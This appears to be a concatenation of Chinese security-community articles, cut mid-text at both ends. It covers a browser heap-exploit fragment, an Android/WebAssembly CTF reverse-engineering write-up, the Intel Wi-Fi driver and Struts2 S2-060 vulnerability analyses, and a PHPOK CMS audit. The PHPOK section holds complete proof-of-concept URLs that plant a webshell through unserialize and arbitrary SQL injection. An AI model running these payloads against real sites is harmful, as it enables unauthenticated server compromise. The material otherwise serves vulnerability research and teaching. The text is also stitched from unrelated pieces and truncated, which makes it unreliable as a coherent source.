A线程在解码音频文件的时候就会往`0x80`开头的地方写数据，JS线程在2s之后检测JSArray的length是否被改掉，如果被改掉，说明堆布局确实是情况1，接着就可以执行后续的`exploit`代码了，如果没有被改掉，说明堆布局是情况2，那么第二次调用`decodeAudioData()`函数，启动Audio
B线程解码音频，这次是往0x180开头的地址写数据。JS线程循环检查JSArray的length是否被改掉，如果成功，则调用执行后续的`exploit`，如果失败，说明整个利用失败。
此外还有一个问题需要解决，就是音频文件解码完之后，调用free函数对资源进行清理的时候，会触发崩溃。有几种方式可以解决这一问题，一种就是对损坏的堆进行修复，第二种就是让音频解码的时间非常非常的长，在解码结束之前我们的利用过程就结束了。
第一种由于需要对堆进行搜索，过于复杂，而且其实你要修复堆，也是需要一定的时间的，并且还是要和第二种手段结合起来，那还不如直接粗暴一点，就选取第二种方法。我构造了一个600M的CAF文件，里面有七千多万个packet，要全部把这些packet解码完大概要花费50s左右的时间，完全足够我的漏洞利用了。
# 05 Old school，任意地址读写原语到任意代码执行
当覆盖了JSArray的长度字段后，我们就可以构造fakeobj和addrof原语，然后就可以用这两个原语构造任意地址读写原语，再将`shellcode`写入JIT区域就可以任意代码执行了。这些都是属于浏览器利用的常规套路，对此感兴趣的读者可以阅读google的saelo写的文章《Attacking
JavaScript Engines》，在这里我们就不细细展开了。
* * * | 社区文章 |
[TOC]
# 概述
本片分析文章通过一道看雪CTF题讲述作者的整个分析流程，学习WebAssemble、Z3库、IDC脚本、多元线性方程等内容
# 分析流程
安装应用后，出现一个输入框和一个按钮
## android
jadx反编译apk后先查看manifest清单文件的注册组件,只有一个入口活动类，进入查看
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="android.support.v4.app.CoreComponentFactory">
<activity android:name="com.example.assemgogogo.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
### 初现迷雾
第一眼：看到`Congratulations`，我们的目标是打印出这里的字符串，也就是点击按钮后调用本地方法check_key返回值为1即可
再仔细看看：这里有个WebView组件，这个组件表示有访问网络的操作，但是手机界面并没有看页面，我们去布局文件中看看，我们只需要看一个属性`android:visibility`表示控件是否可见，只有WebView可见，按钮、输入框什么的都是隐藏的，并且这个webview占据的整个界面，所以我们看到的输入框和按钮都是网页展示的，所以我们需要关注的点就是sayHello这个本地方法，它传入的url是哪里的，这是我们下一步的要干的事
public String u = gogogoJNI.sayHello();
static {
System.loadLibrary("gogogo");
}
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView((int) R.layout.activity_main);
this.eText1 = (EditText) findViewById(R.id.editText);
this.txView1 = (TextView) findViewById(R.id.textView);
((WebView) findViewById(R.id.text1View)).loadUrl(this.u);
((WebView) findViewById(R.id.text1View)).getSettings().setJavaScriptEnabled(true);
this.button1 = (Button) findViewById(R.id.button);
this.button1.setOnClickListener(new OnClickListener() {
public void onClick(View view) {
if (gogogoJNI.check_key(MainActivity.this.eText1.getText().toString()) == 1) {
MainActivity.this.txView1.setText("Congratulations!");
} else {
MainActivity.this.txView1.setText("Not Correct!");
}
}
});
<EditText android:id="@+id/editText" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Name" android:ems="10" android:inputType="textPersonName" android:layout_marginStart="14dp" app:layout_constraintBottom_toBottomOf="@+id/button" app:layout_constraintStart_toEndOf="@+id/textView"/>
<Button android:id="@+id/button" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="52dp" android:text="check" android:layout_marginEnd="38dp" app:layout_constraintEnd_toEndOf="0" app:layout_constraintTop_toTopOf="0"/>
<TextView android:id="@+id/textView" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="68dp" android:text="key" android:layout_marginStart="22dp" app:layout_constraintStart_toStartOf="0" app:layout_constraintTop_toTopOf="0"/>
<WebView android:id="@+id/text1View" android:visibility="visible" android:layout_width="390dp" android:layout_height="733dp" android:layout_marginStart="4dp" app:layout_constraintStart_toStartOf="0" app:layout_constraintTop_toTopOf="0"/>
### 探索URL
打开lib文件夹，出现四个abi架构对应的so文件，基本现在手机的芯片都是支持的，这里ARM64在ida6.8不能使用F5大法，所以我们就分析armeabi-v7这个就行了
我们可以看看第一步我们排除的check_key方法，这里逻辑是输出的32位数都为1即可返回1，实际尝试是错误的，混淆视听
在导出表中找到sayhello方法，要使用F5大法先右键将这个区域代码创建为函数。接着讲这个字节数组异或计算即可的到URL地址。下面写了一个简短的idc脚本获取到URL地址为
<http://127.0.0.1:8000>
分析到这里，虽然我们探索URL已经完成，但是却没有看见服务端处理的函数，这个才是我们访问URL的时候，处理我们访问请求的函数
#include <idc.idc>
static main()
{
auto addr = 0x2d28;
auto i;
for(i=0; i !=21; ++i)
{
Message("%c", Byte(addr+i)^0x66);
}
}
### 探索服务端处理函数
从java层分析的逻辑中并没有服务端的线索，而so层也只有初始化的JNIonload、init节还没有探索，这是我们接下来的目标
第一步排除init节，so加载后首先执行的节代码，这里可以看出没有这个节，所以排除，那么就直接分析JNIonload方法，java中调用loadlibray的时候调用的方法
**JNI_Onload分析** ：往进call两层，最终调用下面这个函数
int (__cdecl *inti_proc(void))(int)
{
return inti_proc();
}
这个函数
一开始就对data段中一块大小为34291的数据进行异或0x67解密，接着创建线程用socket链接将刚才解密的内容构造称HTTP的响应数据包，一旦有socket链接连接过来就发送这样的数据包回去。
逻辑分析清除，下面我们针对细节进行解决
针对需要解密的字节流，通过idc脚本进行处理，解密后的数据是html页面，使用到了WebAssembly技术，web汇编的灵魂就是将其他语言如C汇编成前端可以解释的语言，即用C语言写页面的一些逻辑。
#include <idc.idc>
static main()
{
auto addr = 0x4004;
auto i = 34291;
while(i)
{
--i;
Message("%c", Byte(addr++)^0x67);
}
}
分析这里的逻辑得知，我们需要让输入内容为32位并且check_key()函数返回结果为1，即可完成这道题
<!DOCTYPE html>
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<style>
body {
background-color: rgb(255, 255, 255);
}
</style>
</head>
<script>
var instance;
WebAssembly.compile(new Uint8Array(`
00 61 73 6D 01 00 00 00 01 1B 05 60 00 00 60 04
7F 7F 7F 7F 01 7F 60 02 7F 7F 01 7F 60 01 7F 01
.......
66 6C 61 67 0A 12 73 65 74 5F 69 6E 70 75 74 5F
66 6C 61 67 5F 6C 65 6E 0B 09 63 68 65 63 6B 5F
6B 65 79 0C 03 78 78 78
`.trim().split(/[\s\r\n]+/g).map(str => parseInt(str, 16))
)).then(module => {
new WebAssembly.instantiate(module).then(results => {
instance = results;
}).catch(console.error);})
function check_flag(){
var value = document.getElementById("key_value").value;
if(value.length != 32)
{
document.getElementById("tips").innerHTML = "Not Correct!";
return;
}
instance.exports.set_input_flag_len(value.length);
for(var ii=0;ii<value.length;ii++){
instance.exports.set_input_flag(value[ii].charCodeAt(),ii);
}
var ret = instance.exports.check_key();
if (ret == 1){
document.getElementById("tips").innerHTML = "Congratulations!"
}
else{
document.getElementById("tips").innerHTML = "Not Correct!"
}
}
</script>
<body>
<div>Key: <input id="key_value" type="text" name="key" style="width:60%" ;="" value=""> <input type="submit" value="check" onclick="check_flag()"></div>
<div> <label id="tips"></label></div>
</body></html>
下面我们进入web汇编来探索内部实现逻辑
## webassemble
我们在这部分探索的目标就是先用16进制内容构成对应的wasm二进制文件，然后将wasm二进制文件转成c，接着生成ELF文件，用IDA进行分析。
先生成data.bin二进制文件
import array, struct
hexstring = "\x00\x61\x73\x6D\x01\x00\x00\x00\x01\x1B\x05\x60\x00\x00\x60\x04\x7F\x7F\x7F\x7F\x01\x7F\x60\x02\x7F\x7F\x01\x7F\x60\x01\x7F\x01\x7F\x60\x00\x01\x7F
.............
\x6C\x61\x67\x0A\x12\x73\x65\x74\x5F\x69\x6E\x70\x75\x74\x5F\x66\x6C\x61\x67\x5F\x6C\x65\x6E\x0B\x09\x63\x68\x65\x63\x6B\x5F\x6B\x65\x79\x0C\x03\x78\x78\x78"
f = open('c:\\Users\\xxx\\Desktop\\data.bin','wb')
f.write(hexstring)
f.close()
接着用wasm2c.exe生成c文件
wasm2c.exe data.bin -o test.c
直接gcc wasm.c会报错，因为很多wasm的函数没有具体的实现。所以只编译就好了
gcc -c test.c -o test.o
用IDA打开.o文件
首先JS中调用将输入的字符长度保存到内存中，接着将输入的字符也保存到内存0x400处
接着就是主要的check_key函数，最终目标是xxx函数返回结果为1，即可完成逆向工作
这里前8个o函数对我们输入的32内容依次进行了处理，我们具体分析一下
### 一重加密
经过简单分析，这里其实是对输入内容进行了异或计算，然后将结果替换内存中原来的数据。下面图中的条件是肯定满足的，因为我们输入的内容在33到127之间，最小的33*4也等于132肯定不为-1，这个语句恒执行else的内容，至于其余几个都是相同的内容，即在这里对输入内容进行第一次加密
### 32元线性方程组
接着我们分析xxx函数，我们的目标也是满足xxx函数返回值为1
从内存中奖一重加密后的输入内容读取到变量中，可以看到顺序做过修改
接下来就是下图中看到的32元方程组，如果有兴趣和数学基础的同学可以用矩阵解法写个类似的小脚本，这里我用到的是z3库解决
## 解密
### 一重解密
pip安装z3-solver
接着用python脚本写一个求解语句，先初始化32个变量，接着将ida的内容拷贝过来，将符号修改一下即可
# *-* coding:utf-8 -*-
from z3 import *
# 生面32元变量
v5 = Int('m53')
v6 = Int('m52')
v7 = Int('m51')
v8 = Int('m50')
v9 = Int('m49')
v10 = Int('m48')
v11 = Int('m47')
v12 = Int('m46')
v13 = Int('m45')
v14 = Int('m44')
v15 = Int('m43')
v16 = Int('m42')
v17 = Int('m41')
v18 = Int('m40')
v19 = Int('m39')
v20 = Int('m38')
v21 = Int('m37')
v22 = Int('m36')
v23 = Int('m35')
v24 = Int('m34')
v25 = Int('m33')
v26 = Int('m32')
v27 = Int('m31')
v28 = Int('m30')
v29 = Int('m29')
v30 = Int('m28')
v31 = Int('m27')
v32 = Int('m26')
v33 = Int('m24')
v34 = Int('m25')
v35 = Int('m55')
v36 = Int('m54')
# 实例化一个求解器对象
s = Solver()
s.add(And(45 * v5
+ 248 * v6
+ 20 * v7
+ 67 * v8
+ 90 * v9
+ 135 * v10
+ 106 * v11
+ 112 * v12
+ 40 * v13
+ 231 * v14
+ 153 * v15
+ 233 * v16
+ 19 * v17
+ 188 * v18
+ 232 * v19
+ 127 * v20
+ 15 * v21
+ 67 * v22
+ 50 * v23
+ 161 * v24
+ 103 * v25
+ 144 * v26
+ 81 * v27
+ 126 * v28
+ 240 * v29
+ 124 * v30
+ 194 * v31
+ 92 * v32
+ 108 * v33
+ 111 * v34
+ 174 * v35
+ 48 * v36 == 359512
.....
, 244 * v5
+ 196 * v6
+ 30 * v7
+ 100 * v8
+ 168 * v9
+ 7 * v10
+ 249 * v11
+ 84 * v12
+ 252 * v13
+ 171 * v14
+ 210 * v15
+ 206 * v16
+ 108 * v17
+ 153 * v18
+ 67 * v19
+ 189 * v20
+ 141 * v21
+ 239 * v22
+ 177 * v23
+ 10 * v24
+ 15 * v25
+ 164 * v26
+ 142 * v27
+ 97 * v28
+ 27 * v29
+ 173 * v30
+ 146 * v31
+ 133 * v33
+ 105 * v34
+ 75 * (v32 + v35)
+ 197 * v36 == 393331 ))
s.add(185 * v5
+ 196 * v6
+ 135 * v7
+ 218 * (v24 + v9)
+ 241 * v8
+ 210 * v10
+ 127 * v11
+ 221 * v12
+ 47 * v13
+ 179 * v14
+ 61 * v15
+ 59 * v16
+ 197 * v17
+ 204 * v18
+ 198 * v19
+ 75 * v20
+ 146 * v21
+ 156 * v22
+ 235 * v23
+ 63 * v25
+ 220 * v26
+ 3 * v27
+ 167 * v28
+ 230 * v29
+ 69 * v30
+ 186 * v31
+ 57 * v32
+ 147 * v33
+ 221 * v34
+ 79 * v35
+ 53 * v36 == 430295)
# sat表示计算出结果
if s.check() == sat:
t = []
print "compute result: "
m = s.model()
t.append(str(m[v33]))
t.append(str(m[v34]))
t.append(str(m[v32]))
t.append(str(m[v31]))
t.append(str(m[v30]))
t.append(str(m[v29]))
t.append(str(m[v28]))
t.append(str(m[v27]))
t.append(str(m[v26]))
t.append(str(m[v25]))
t.append(str(m[v24]))
t.append(str(m[v23]))
t.append(str(m[v22]))
t.append(str(m[v21]))
t.append(str(m[v20]))
t.append(str(m[v19]))
t.append(str(m[v18]))
t.append(str(m[v17]))
t.append(str(m[v16]))
t.append(str(m[v15]))
t.append(str(m[v14]))
t.append(str(m[v13]))
t.append(str(m[v12]))
t.append(str(m[v11]))
t.append(str(m[v10]))
t.append(str(m[v9]))
t.append(str(m[v8]))
t.append(str(m[v7]))
t.append(str(m[v6]))
t.append(str(m[v5]))
t.append(str(m[v36]))
t.append(str(m[v35]))
t = map(int, t)
t = map(chr, t)
print "".join(t)
else:
print "failed"
### 二重解密
这里直接用的大佬的脚本，将上面解密的数据进行异或计算，即可返回最终我们需要输入的内容
int main(int argc, char** argv) {
unsigned char c[33] = "S0m3time_l1tt1e_c0de_1s_us3ful33";
unsigned char in[33] = { 0 };
unsigned int t1 =0,t2= 0,t3=0,t4=0;
printf((const char *)c);
printf("\n");
in[0] = c[0] ^ 0x18;
in[1] = c[1] ^ 0x9;
in[2] = c[2] ^ 0x3;
in[3] = c[3] ^ 0x6b;
in[4] = c[4] ^ 0x1;
in[5] = c[5] ^ 0x5A;
in[6] = c[6] ^ 0x32;
in[7] = c[7] ^ 0x57;
in[8] = c[8] ^ 0x30;
in[9] = c[9] ^ 0x5d;
in[10] = c[10] ^ 0x40;
in[11] = c[11] ^ 0x46;
in[12] = c[12] ^ 0x2b;
in[13] = c[13] ^ 0x46;
in[14] = c[14] ^ 0x56;
in[15] = c[15] ^ 0x3d;
in[16] = c[16] ^ 0x02;
in[17] = c[17] ^ 0x43;
in[18] = c[18] ^ 0x17;
in[19] = c[19];
in[20] = c[20] ^ 0x32;
in[21] = c[21] ^ 0x53;
in[22] = c[22] ^ 0x1F;
in[23] = c[23] ^ 0x26;
in[24] = c[24] ^ 0x2a;
in[25] = c[25] ^ 0x01;
in[26] = c[26];
in[27] = c[27] ^ 0x10;
in[28] = c[28] ^ 0x10;
in[29] = c[29] ^ 0x1E;
in[30] = c[30] ^ 0x40;
in[31] = c[31];
printf((const char *)in);
return 0;
}
# 小结
【1】 多元线性方程式可以通过python的z3-solver库快速计算
# 反思
最开始做这道题我是卡在了最后一步，我用sage并未求出结果。
主要原因是：我甚至未能清除的理解这个算法的本质，当时并未意识到这是个多元方程求解的计算，只想着怎么求出这个结果，结果在网上找到一个相似题的解决方法，用sage计算，但在这里却并未算出
结论：解决问题时，不要求对所有细节了如执掌，但是题的主干脉络、根本思路是我们需要探索的
# 参考
【1】[原创]第五题：丛林的秘密<https://bbs.pediy.com/thread-252191.htm>
【2】Z3 API in Python <https://nen9ma0.github.io/2018/03/14/z3py/>
【3】IDC脚本 - IDC脚本语言官方教程 <https://bbs.pediy.com/thread-219016.htm>
【4】线性方程组矩阵解法 <https://www.shuxuele.com/algebra/systems-linear-equations-matrices.html> | 社区文章 |
# Intel 无线 AP Windows 驱动 RCE 漏洞分析（CVE-2020-0558）
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2020/5/4/analyzing-a-trio-of-remote-code-execution-bugs-in-intel-wireless-adapters>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 简介
在本月初，我们发布了三个内存破坏Bug（ZDI-20-494，ZDI-20-495和ZDI-20-496-统称为CVE-2020-0558）,它影响了Intel双频无线适配器的两个Windows
Wi-Fi驱动程序。根据厂商介绍，这些驱动程序适用于AC 7265 Rev D、AC 3168、AC
8265和AC8260无线适配器。ZDI-20-494和ZDI-20-496都是越界写漏洞，它们的根本原因是在nettw04.sys和nettw06.sys驱动程序中。ZDI-20-495是一个栈溢出漏洞，仅影响nettw06.sys驱动程序。这些漏洞是百度安全实验室的谢海阔和王颖发现的，最初是在2019年11月底向ZDI报告的。
可以在我们的GitHub上找到这三个漏洞的PoC，POC已经在基于Qualcomm Atheros AR9271的USB网络适配器对AC 3168和AC
8260进行了测试。
这三个漏洞都需要受害者启用“移动热点”功能。攻击者只需使用恶意的802.11 MAC帧连接到无线网络，无需热点密码，就可以利用这些漏洞。
## 0x01 ZDI-20-495
这个堆溢出漏洞存在于Netwtw06.sys驱动程序中。PoC向受害者移动热点发送四个802.11
MAC帧，触发受害者机器上的BSOD。漏洞的原因很简单。超长的SSID通过位于802.11关联请求帧主体内的TLV（Tag-length-value）编码元素标记的信息传递给一个易受攻击的函数。以下是由Scapy实用程序生成的恶意frame的剖析：
在上图中，我们可以看到ID为0x00的元素信息，它对应于SSID，长度为55个字节。接下来是SSID长字符串。
漏洞函数prvhPanClientSaveAssocResp()使用错误的DstSize参数通过memcpy_s()将SSID复制到固定长度的堆缓冲区中。它提供了攻击者提供的SSID长度，而不是目标缓冲区的大小。下面是来自驱动程序20.70.13.2版本的prvhPanClientSaveAssocResp()函数的反汇编代码片段。
在0x1403A7F5C处，r8指向SSID元素信息的头部。在0x1403A7F66处，攻击者提供的SSID长度(55)被传递给DstSize，该值随后也传递给MaxCount。以这种方式传递SSID长度会破坏memcpy_s()的安全性，这是这个漏洞的根本原因，如果进一步查看反汇编，我们可以看到var_4C只有36个字节长：
当memcpy_s()继续将攻击者控制的缓冲区复制到大小不足的栈缓冲区中的变量时，就会发生缓冲区溢出的情况。
## 0x02 ZDI-20-494和ZDI-20-496
由于这两个漏洞原因相同，所以我们只讨论ZDI-20-494。关联请求帧的处理中存在越界写漏洞。为了到达漏洞的代码处，攻击者必须先发送身份验证请求，然后再发送恶意关联请求。攻击者发送一个包含ID为59（0x3B）的元素信息的关联请求帧，该元素信息对应于支持的操作类。元素的值由221个空字节组成。请求的frame分析如下：
驱动程序调用两个函数来处理信息元素：prvPanCnctProcessAssocSupportedChannelList()和utilRegulatoryClassToChannelList()。prvPanCnctProcessAssocSupportedChannelList()尝试调用函数utilRegulatoryClassToChannelList()221次，与元素长度相对应。以下是来自nettw04.sys驱动程序19.51.23.1版本的prvPanCnctProcessAssocSupportedChannelList()函数的反汇编代码段：
在0x140388500处，ebx初始化为0。0x1403885AF处的循环退出条件将循环索引ebx与存储在eax寄存器中来自Prior[2]之前的4条指令的元素信息进行比较。在0x140388559处的循环中调用utilRegulatoryClassToChannelList()函数。函数的第三个参数是通过r8寄存器传递的内存缓冲区地址，该地址是受这个越界写漏洞影响的缓冲区地址。还要注意，在0x14088502处，缓冲区的第一个DWORD初始化为零。
utilRegulatoryClassToChannelList()函数的作用是从易受攻击的缓冲区中读取第一个DWORD作为索引，并将其用作偏移量，将0xFF字节的数据写入自身。这在每次调用函数时都会发生。由于缺少边界检查，所以当重复调用此函数时，索引可能指向超出缓冲区末端的内存区域。
在0x1400D06A8处，来自第三个参数的漏洞缓冲区被传输到rbx寄存器。在0x140D068F处，循环索引edi在进入循环之前初始化为0。这将重复0xFF次。在从0x140D0718开始的基础块中，缓冲区中的第一个DWORD被读取并存储在eax寄存器中。值立即被用作漏洞缓冲区的偏移量，并向其写入一个字节。在0x1004D0729处，漏洞缓冲区的第一个DWORD将递增。当调用utilRegulatoryClassToChannelList()函数两次以上时，会出现越界写。
## 0x03 总结
虽然触发这些漏洞的条件非常少，但是我们在程序中看到数据链路层中的漏洞仍然是非常有趣的。虽然有一些关于fuzzing的讨论，但是我们并没有看到很多关于基于wi-fi的漏洞分析。IEEE
802.11系列无线技术标准提供了一个巨大的攻击面，而漏洞研究者几乎还没有开始仔细研究这个协议。这个攻击向量中的一个非常好的驱动程序Bug可以直接访问内核。相比于基于Web浏览器的攻击，需要多个bug和沙箱逃逸，Wi-Fi攻击向量可能是攻击者考虑的一个有趣的替代向量。对于那些有兴趣学习更多IEEE 802.11系列标准的人来说，《802.11 Wireless
Networks: The Definitive Guide written》by Matthew S. Gast
编写的权威指南是开始学习的一个很好的资源。 | 社区文章 |
# CVE-2019-0233： S2-060 拒绝服务漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年8月11日，360CERT监测发现`Apache官方`发布了`S2-060`的风险通告，该漏洞编号为`CVE-2019-0233`，漏洞等级：`中危`。漏洞评分：`6.8`。
当使用`getter`对文件上传执行一个暴露文件的操作时，攻击者可能会构造特定请求，从而将上传文件的工作目录设置为只读。因此，对该文件的后续操作将失败并出现错误。还可以将`Servlet`容器的`temp`目录设置为只读，这样后续的上载操作就会失败，对业务造成影响。
对此，360CERT建议广大用户及时将 `Struts2` 升级到最新版。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 中危
影响面 | 一般
360CERT评分 | 6.8分
## 0x03 影响版本
* Apache Struts2：2.0.0-2.5.20
## 0x04 漏洞详情
从`ParametersInterceptor`拦截器开始看，该拦截器对请求的参数进行处理，前面的过程是`ActionInvocation`对拦截器进行回调处理。
从`ActionContext`获取请求中的请求参数，
此时有四个参数(具体`Action`构造见参考链接)：
1. [文件名参数] - 这是用户已上传的实际文件。在Action中被设置为“upload”
2. [文件名参数]ContentType - 这是上传的文件的内容类型。在Action中被设置为“uploadContentType”
3. [文件名参数]FileName - 这是上传的文件的名称。在Action中被设置为“uploadFileName”
4. [文件名参数].parentFile.writable - 构造的利用poc
这里要注意原始上传的文件类型是一个`File`类型。然后会调用`setParameters`方法：
### 参数校验
然后对所有`Parameters`的`key`进行检测，调用`isAcceptableParameter`方法。
由于自定义`Action`不是`ParameterNameAware`的实现类，于是，`parameterNameAware`为`null`，
先调用`acceptableName`方法。 依次调用`isWithinLengthLimit`,`isExcluded`,`isAccepted`。
`isWithinLengthLimit`判断最大长度默认为`100`。
`isExcluded`进行表达式正则的检测，是否包含`_memberAccess`等字符。
可以发现，我们的`payload`没有包含特殊字符。
继续跟到`DefaultExcludedPatternsChecker#isExcluded`，初始化了正则表达式的黑名单。
最后调用`isAccepted`，跟到`DefaultExcludedPatternsChecker#isAccepted`。
对一些不可见字符做处理。
三个函数调用完之后，就将其`put`到`acceptableParameters` Map里。
继续往下走，会根据原有的`valueStack`,创建一个新的`valueStack`,叫做`newStack`，之后把前面的几个对`key`检测的正则表达式加到这个新的`valueStack`里面，
### ognl表达式执行
接着，调用`OgnlValueStack.setParameter`，这里会执行`setValue`操作，而执行的过程中就会造成`ognl`表达式的执行，这里会将`root`作为参数传入，而`root`里保存着`Action`信息。
`payload`是一个`ognl`表达式，由于访问的是`ValueStack`的`root`里的属性，所有不需要加`#`就能进行访问，而这里的`upload`是我们自定义上传`Action`里的`File`类型。
首先`target`值是一开始传入的`root`里的上传`Action`，然后会调用`target`对应的`setter`和`getter`方法。
然后获取返回的`upload`，类型为`File`，此时`target`被赋值为`File`，经过`AST`语法解析，`getParentFile`的调用栈为：
中间会根据传入的`payload`调用`getGetMethod`，获取`File`对象对应的`getter`，也就是`getParentFile`。在调用method之前，会进行黑名单的检测，具体是在`com.opensymphony.xwork2.ognl.SecurityMemberAccess#isAccessible`方法里进行黑名单检测，黑名单来自`struts-`
然后`getParentFile`的返回值被`return`，
依然替换作为`target`，值还是`File`，继续调用`setter`。
`setWriteable`的调用栈为：
执行结果： 接着，后续的上传都会失效。
### 版本修复
升级到`Struts 2.5.22`版本，默认情况下将`java.io`和`java.nio`中的类加入黑名单。
### 总结
该漏洞总体来说，危害不是很大，但是能够造成服务器功能失效，对于业务来说，还是具有一定的影响力，该漏洞主要是通过`Action`的`getter`方法，获取到上传的`File`类型的`filename`，再通过`ognl`执行流，去配合执行`File`的`getter/setter`，最终造成文件无法后续上传，由于我们的`ognl`表达式不涉及黑名单也不涉及特殊字符，所以不受沙箱的影响。
## 0x05 时间线
**2020-08-11** Apache发布预警
**2020-09-01** 360CERT发布分析报告
## 0x06 参考链接
1. [S2-060 安全通告](https://cwiki.apache.org/confluence/display/WW/S2-060)
2. [Struts2 文件上传](https://www.w3cschool.cn/struts_2/struts_file_uploads.html)
3. [Class File](https://docs.oracle.com/javase/7/docs/api/java/io/File.html#method_summary)
4. [S2-060 拒绝服务漏洞分析](https://mp.weixin.qq.com/s/VyLiLrUV0yakh_lzTBYGyQ) | 社区文章 |
# 对PHPOK的一次审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前些天看了一下PHPOK，发现了一个前台getshell，没想到第二天更新了V5.4把漏洞给修了。于是又审计了一下，发现一处新的getshell，在这里分享一下这两个漏洞。
## V5.3的getshell
先简单的说一下PHPOK对控制器调用的规则
index.php admin.php api.php 分别对应 framework文件夹下的www admin api这三个文件夹
参数c的值再拼接上_control.php就是对应的文件 对应的类即{$c}_control
参数f的值再拼接上_f就是对应的方法
### 反序列化漏洞
存在问题的类和方法是`call_control`中的`index_f`，所以可以轻松找到对应的文件
**framework/api/call_control.php::index_f**
前台可以传json格式的数据，decode后将可控数据赋值给`$tmpValue`，进入phpok函数
**framework/phpok_tpl_helper.php::phpok**
这里的`$GLOBALS['app']->call->phpok($id,$ext)`就是`phpok_call.php::phpok()`
**framework/phpok_call.php::phpok**
函数有点长直接关注重点
`$rs`是完全可控的，所以可以控制最后的`$func`
但是有个限制
if(!in_array($func,$this->mlist)){
return false;
}
`$this->mlist = get_class_methods($this);`具体看一下
其实基本上就是这个类里所有_开头的函数都可以调，简单看了看`_format_ext_all`函数可以利用
**framework/phpok_call.php::_format_ext_all**
如果可以控制`$value['content']`就可以反序列化直接rce，`$value`来自`$rslist`，`$rslist`来自`$call_rs`，`$call_rs`来自我们传入的`data`
### 寻找POP chain
说是chain其实只用到了一个文件
**framework/engine/cache.php::__destruct**
**framework/engine/cache.php::save**
这里的exit直接用伪协议绕就好了没啥好说的
### POC
http://127.0.0.1:8000/5.3.147/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22format_ext_all%22%2C%220%22%3A%7B%22form_type%22%3A%22url%22%2C%22content%22%3A%22O%3A5%3A%5C%22cache%5C%22%3A4%3A%7Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000folder%5C%22%3Bs%3A41%3A%5C%22php%3A%5C%2F%5C%2Ffilter%5C%2Fwrite%3Dstring.rot13%5C%2Fresource%3D%5C%22%3Bs%3A11%3A%5C%22%5Cu0000%2A%5Cu0000key_list%5C%22%3Bs%3A19%3A%5C%22%3C%3Fcuc+cucvasb%28%29%3B+%3F%3E%5C%22%3Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000key_id%5C%22%3Bs%3A5%3A%5C%22shell%5C%22%3Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000status%5C%22%3Bb%3A1%3B%7D%22%7D%7D%7D
## V5.4getshell
### 对V5.3漏洞的修补
新版本这里多了一个format函数来处理传入的data，format有点长我这里直接说重点
**framework/init.php::format**
经过调试index_f里的format最终会这样处理数据
可以看到双引号被替换掉了，这样就不能直接传入序列化后的数据了，因为序列化的数据中有很多双引号
### 任意SQL语句执行
虽然不能反序列化了，但是最关键的问题还是没有解决
这个万恶的动态调用并没有做任何改动，这次的目标放在了`_sql`上
**framework/phpok_call.php::_sql**
这里相当于去了转义 233333
**framework/engine/db/mysqli.php::get_all**
可以看到`$rs['sqlinfo']`直接传入了query
**framework/engine/db/mysqli.php::query**
想执行什么sql语句执行什么sql语句
其实到这里，直接加个后台管理员账号就可以随便玩了，不过贯彻一下前台getshell就不去碰后台了
### 反序列化
前面的逻辑一样，只不过是反序列化触发点在`_fields`
**framework/phpok_call.php::_fields**
**framework/model/project.php::project_one**
**framework/model/module.php::fields_all**
只要利用上面的任意语句执行往`$this->db->prefix."fields`这个表里插反序列化数据就好了，这里的`$this->db->prefix`可能不是默认值，不过都有上面的任意SQL语句执行了，随便跑下表名就知道了
### POC
http://127.0.0.1:8000/5.4/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22sql%22%2C%22sqlinfo%22%3A%22INSERT+INTO+%60phpok5%60.%60qinggan_fields%60%28%60id%60%2C+%60ftype%60%2C+%60title%60%2C+%60identifier%60%2C+%60field_type%60%2C+%60note%60%2C+%60form_type%60%2C+%60form_style%60%2C+%60format%60%2C+%60content%60%2C+%60ext%60%2C+%60search_separator%60%2C+%60form_class%60%29+VALUES+%281%2C+%2722%27%2C+%27test%27%2C+%27test%27%2C+%27varchar%27%2C+%27test%27%2C+%27text%27%2C+%27test%27%2C+%27safe%27%2C+%27test%27%2C+0x4f3a353a226361636865223a343a7b733a393a22002a00666f6c646572223b733a34313a227068703a2f2f66696c7465722f77726974653d737472696e672e726f7431332f7265736f757263653d223b733a31313a22002a006b65795f6c697374223b733a31393a223c3f637563206375637661736228293b203f3e223b733a393a22002a006b65795f6964223b733a353a227368656c6c223b733a393a22002a00737461747573223b623a313b7d%2C+%27test%27%2C+%27test%27%29%22%7D%7D
http://127.0.0.1:8000/5.4/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22fields%22%2C%22pid%22%3A41%7D%7D | 社区文章 |
# 360CERT：GoAead RCE（CVE–2017–17562）预警分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 报告来源：360网络安全响应中心
>
> 报告作者：MerJerson,云袭2001
>
> 更新日期：2017年12月19日
## 0x00 背景介绍
